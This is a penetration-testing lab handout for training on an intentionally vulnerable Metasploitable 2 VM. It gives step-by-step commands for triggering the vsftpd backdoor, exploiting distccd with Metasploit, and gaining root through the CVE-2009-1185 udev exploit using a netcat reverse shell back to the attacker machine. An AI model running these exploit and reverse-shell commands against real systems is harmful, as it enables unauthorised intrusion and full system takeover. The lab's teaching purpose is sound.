

CYBERSECURITY

LAB 12

1. Introduction

Target exploitation is one area that sets a penetration test apart from a vulnerability assessment. Now that vulnerabilities have been found, you will actually validate and take advantage of these vulnerabilities by exploiting the system in the hope of gaining full control or additional information and visibility into the targeted network and the systems therein.

Writing exploit code from scratch can be a time-consuming and expensive task. Thus, using publicly available exploits and adjusting them to fit your target environment may require expertise, which would assist in transforming the skeleton of one exploit into another if the similarity and purpose is almost the same.

We will now explore the use of some common payloads (bind, reverse, and meterpreter), and discuss their capabilities from an exploitation point of view. This exercise will give you an idea about how and when to use a particular payload. A bind shell is a remote shell connection that provides access to the target system on the successful exploitation and execution of shellcode by setting up a bind port listener. This opens a gateway for an attacker to connect back to the compromised machine on the bind shell port using a tool such as Netcat, which could tunnel the standard input (stdin) and output (stdout) over a TCP connection. This scenario works similar to that of a Telnet client establishing a connection to a Telnet server and is applicable in an environment where the attacker is behind the Network Address Translation (NAT) or firewall and a direct contact from the compromised host to the attacker IP is not possible.

2. Required virtual machines

- Kali
- Metasploitable 2

3. Prerequisites

Get familiar with the following elements:

- The Metasploit framework (<http://www.metasploit.com>, https://www.tutorialspoint.com/metasploit/metasploit_basic_commands.htm)
- How to scan system with nmap to get the information about names and versions of services running on it
- How can one use *telnet* to connect to *ftp* service
- Vulnerability and exploit repositories

Bugtraq SecurityFocus	http://www.securityfocus.com
OSVDB Vulnerabilities	http://osvdb.org
Packet Storm	http://www.packetstormsecurity.org
National Vulnerability Database	http://nvd.nist.gov
ISS X-Force	http://xforce.iss.net
US-CERT Vulnerability Notes	http://www.kb.cert.org/vuls
US-CERT Alerts	https://www.us-cert.gov/ncas/alerts

LAB 12

SecuriTeam	http://www.securiteam.com
Government Security Org	http://www.governmentsecurity.org
Secunia Advisories	http://secunia.com/advisories/historic/
Security Reason	http://securityreason.com
XSSed XSS-Vulnerabilities	http://www.xssed.com
Security Vulnerabilities Database	http://securityvulns.com
SEBUG	http://www.sebug.net
BugReport	http://www.bugreport.ir
MediaService Lab	http://lab.mediaservice.net
Intelligent Exploit Aggregation Network	http://www.intelligentexploit.com
HackOwn	http://www.hack0wn.com

4. Problems and questions

- I. What is a reverse shell?
- II. Why it is important to grant proper privileges to user accounts, in particular accounts used as a default by services running on systems

5. Tasks (Metasploitable2)

- I. Scan using nmap Metasploitable VM
nmap -p1-65535 -A 172.16.96.x (set correct IP address)
- II. Find some information about vulnerabilities of the **vsftpd** service (eg. using websites from table in point 2.) - particularly check the version installed at VM
- III. Try to connect to Metasploitable VM with ftp/telnet and using the information gathered with nmap scan:
telnet 172.16.96.x 21
USER user:)
PASS pass
- IV. Scan with nmap for port 6200
- V. Connect with telnet to Metasploitable VM from Kali
telnet 172.16.96.x 6200
It may happen that during port scanning with nmap, port 6200 will be closed, in which case you need to repeat step III.
- VI. Scan with nmap for port 6200
- VII. Run some commands e.g. **id**; **whoami**; **ls**; (mind the semicolons after the commands)

Distccd service vulnerability - escalation of privileges

- VIII. Find information about distccd service (port number, what information was delivered by nmap?) and about its vulnerabilities

LAB 12

- IX. Start metasploit environment
msfconsole
- X. Find available exploits for distccd
search distccd
- XI. Execute exploit
use exploit/unix/misc/distcc_exec
show payloads
set payload cmd/unix/bind_ruby
show options
set RHOST 172.16.96.x
exploit
- XII. Find out your identity on an exploited system (**whoami;**)
- XIII. Find the kernel version of the exploited system (**uname -r;**)
- XIV. Search the exploit-db database to find an exploit which will allow us to gain the rights of root (**hint CVE-2009-1185**)
- XV. Save this exploit in Kali VM, and make it available for the victim (start apache2 at Kali, and copy exploit to /var/www/html)
- XVI. Download exploit using access to Metasploitable VM gained with Metasploit and compile exploit:
wget x.x.x.x/exploit_file
gcc exploit_file.c -o exploit
- XVII. From the source code, we found that this exploit needs the Process Identifier (PID) of the udevd netlink socket as the argument. We can get this value by issuing the following command:
cat /proc/net/netlink
Look for (Group=1)
- XVIII. You can also get the udev service PID, 1, by giving the following command:
ps aux | grep udev
- XIX. From our information gathering on the victim machine, we know that this machine has Netcat installed. We will use Netcat on Metasploitable VM to connect back to Kali once the exploit runs in order to give us root access to the victim machine. Based on the exploit source code information, we need to save our payload in a file called **run**:
echo '#!/bin/bash' > run
echo '/bin/netcat -e /bin/bash 172.16.96.y 31337' >> run (use Kali IP address)
Use Kali VM IP
- XX. We also need to start the Netcat listener on Kali VM by issuing the following command:

LAB 12

nc -vv -l -p 31337

XXI. The one thing left is to run the exploit on Metasploitable VM with the required argument:

./exploit PID_no

XXII. Verify now your identity (**whoami;**)